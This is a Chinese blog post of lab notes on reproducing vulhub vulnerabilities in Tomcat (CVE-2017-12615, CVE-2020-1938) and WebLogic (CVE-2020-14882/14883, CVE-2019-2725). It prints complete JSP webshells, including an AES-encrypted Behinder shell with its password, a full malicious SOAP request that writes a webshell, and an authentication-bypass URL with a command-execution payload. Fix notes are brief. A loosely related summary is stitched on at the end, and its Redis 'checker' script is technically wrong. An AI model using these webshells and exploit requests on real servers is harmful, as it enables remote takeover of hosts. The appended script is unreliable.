【漏洞复现】vulhub 中间件漏洞

#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。

Tomcat

Tomcat介绍

tomcat是一个开源而且免费的jsp服务器,默认端口:8080,属于轻量级应用服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。 在历史上也披露出来了很多的漏洞,本文讲几个经典的漏洞复现过程。

CVE-2017-12615

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行,getshell等。

影响范围

Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat 8.5.19

本地环境搭建

  • kali靶机

拉取镜像

cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

访问http://192.168.61.131:8080/
出现以下页面证明搭建成功

漏洞复现

访问首页使用bp抓包,请求方式修改为PUT方式提交

Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞。

在数据包中拼接下面payload
payload如下peak.json文件内容

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("peak");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

 使用工具蚁剑连接http://192.168.61.131:8080/peak.jsp,连接密码:peak

 漏洞修复

 设置readonly 为 true

 docker down关闭该镜像便于下面漏洞复现


CVE-2020-1938

漏洞原理

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有 Webapp目录下的任意文件。

例如:

可以读取webapp配置文件或源码文件。 此外如果目标应用有文件上传的功能情况下,配合为文件包含漏洞利用GetShell。

影响范围

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

本地环境搭建

cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

访问http://192.168.61.131:8080/
出现9.0.30证明搭建成功

漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

直接脚本poc

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶机IP地址

在脚本文件目录下打开cmd,运行以上命令(运行该python脚本需要python2环境)

 漏洞修复

1. 更新到最新版本

2. 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3. 配置ajp配置中的secretRequired跟secret属性来限制认证。


WebLogic

WebLogic介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间 件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。


CVE-2020-14882

漏洞描述

CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证。

CVE-2020-14883允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过HTTP在Oracle WebLogic服务器上执行任意命令并完全控制主机。

影响版本

Oracle Weblogic Server 10.3.6.0

Oracle Weblogic Server 12.1.3.0

Oracle Weblogic Server 12.2.1.3

Oracle Weblogic Server 12.2.1.4

Oracle Weblogic Server 14.1.1.0

环境搭建

cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d

漏洞复现

访问管理控制台http://192.168.61.131:7001/console/login/LoginForm.jsp ,等一会就跳转到以下页面。

使用以下url绕过登录认证
http://192.168.61.131:7001/console/css/%252e%252e%252fconsole.portal

此时达到未授权得效果。
还未能GetShell。可以利用第二个漏洞(CVE-2020-14883),远程加载XML文件拿到Shell
使用bp抓取上个页面的数据包,修改请求方式为post,拼接以下数据,点击发送。

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

我们进入docker可以看到命令被执行success被写入

这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有class


CVE-2019-2725

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

影响版本

weblogic 10.x

weblogic 12.1.3

环境搭建

cd vulhub/weblogic/weak_password
docker-compose up -d

漏洞复现

访问http://192.168.61.131:7001/_async/AsyncResponseService
出现以下页面,证明漏洞存在

当前页面抓包,请求方式修改为POST,写入shell

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.61.131:7001
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ADMINCONSOLESESSION=PrTQkvrfmZ9vwHN5R0vsl0M4pp2gMZTkhZdYv2yhs2f4TmcQ2Ms9!2076597063; JSESSIONID=ndk8kvrfKss6g6vb0M7ZMQydprBBdTQ4czdK59WhqPBYrRTKQ99G!2076597063; rememberMe=test
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1261

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

使用冰蝎连接
URL:http://192.168.61.131:7001/_async/webshell.jsp
密码:rebeyond

漏洞修复

1.禁用bea_wls9_async_response组件;

2.删除wls9_async_response的war包并重启 ;

3.禁止访问 /_async/* 路径。

### Vulhub 漏洞复现案例汇总 #### Redis 4.x/5.x 未授权访问漏洞靶场搭建 为了验证 Redis 存在的未授权访问漏洞,可以使用 `vulhub` 提供的相关环境来构建测试场景。具体操作如下: - 构建并启动 Redis 环境: ```bash docker-compose up -d ``` - 使用以下命令确认容器运行状态正常: ```bash docker ps | grep redis ``` 一旦成功部署了易受攻击版本的服务实例,则可以通过执行特定指令或加载恶意模块的方式尝试获取远程 shell 访问权限[^1]。 ```python import requests def check_redis_unauth(target_ip, target_port=6379): try: url = f"http://{target_ip}:{target_port}/" response = requests.get(url) if 'redis_version' in response.text.lower(): print("[+] 可能存在Redis未授权访问漏洞") else: print("[-] 不存在此漏洞") except Exception as e: print(f"Error occurred: {e}") check_redis_unauth('your_target_ip') ``` #### 中间件敏感信息泄露 CVE-2021-28164 复现 针对某些 Web 应用服务器(如 IIS),当配置不当或者软件本身存在问题时可能会发生敏感数据暴露的情况。对于该类问题的研究有助于加深理解如何保护信息系统免遭此类风险的影响[^2]。 #### GeoServer SQL 注入漏洞 (CVE-2024-25157) 实验室设置 通过下载官方发布的受影响版本以及对应的补丁包来进行对比分析,能够帮助安全研究人员掌握最新的攻防技巧。此外,利用公开可用的概念证明代码(PoC),可以在控制环境下重现已知的安全隐患,从而评估潜在威胁的程度[^3]。 #### 总结 上述仅列举了几种基于 `vulhub` 平台开展的实际演练项目;实际上还有更多类型的脆弱点等待探索者去挖掘。建议有兴趣的朋友多关注网络安全领域内的最新动态和技术进展,积极参与到各类开源社区活动中来共同维护互联网空间的安全稳定。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yang_peach的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值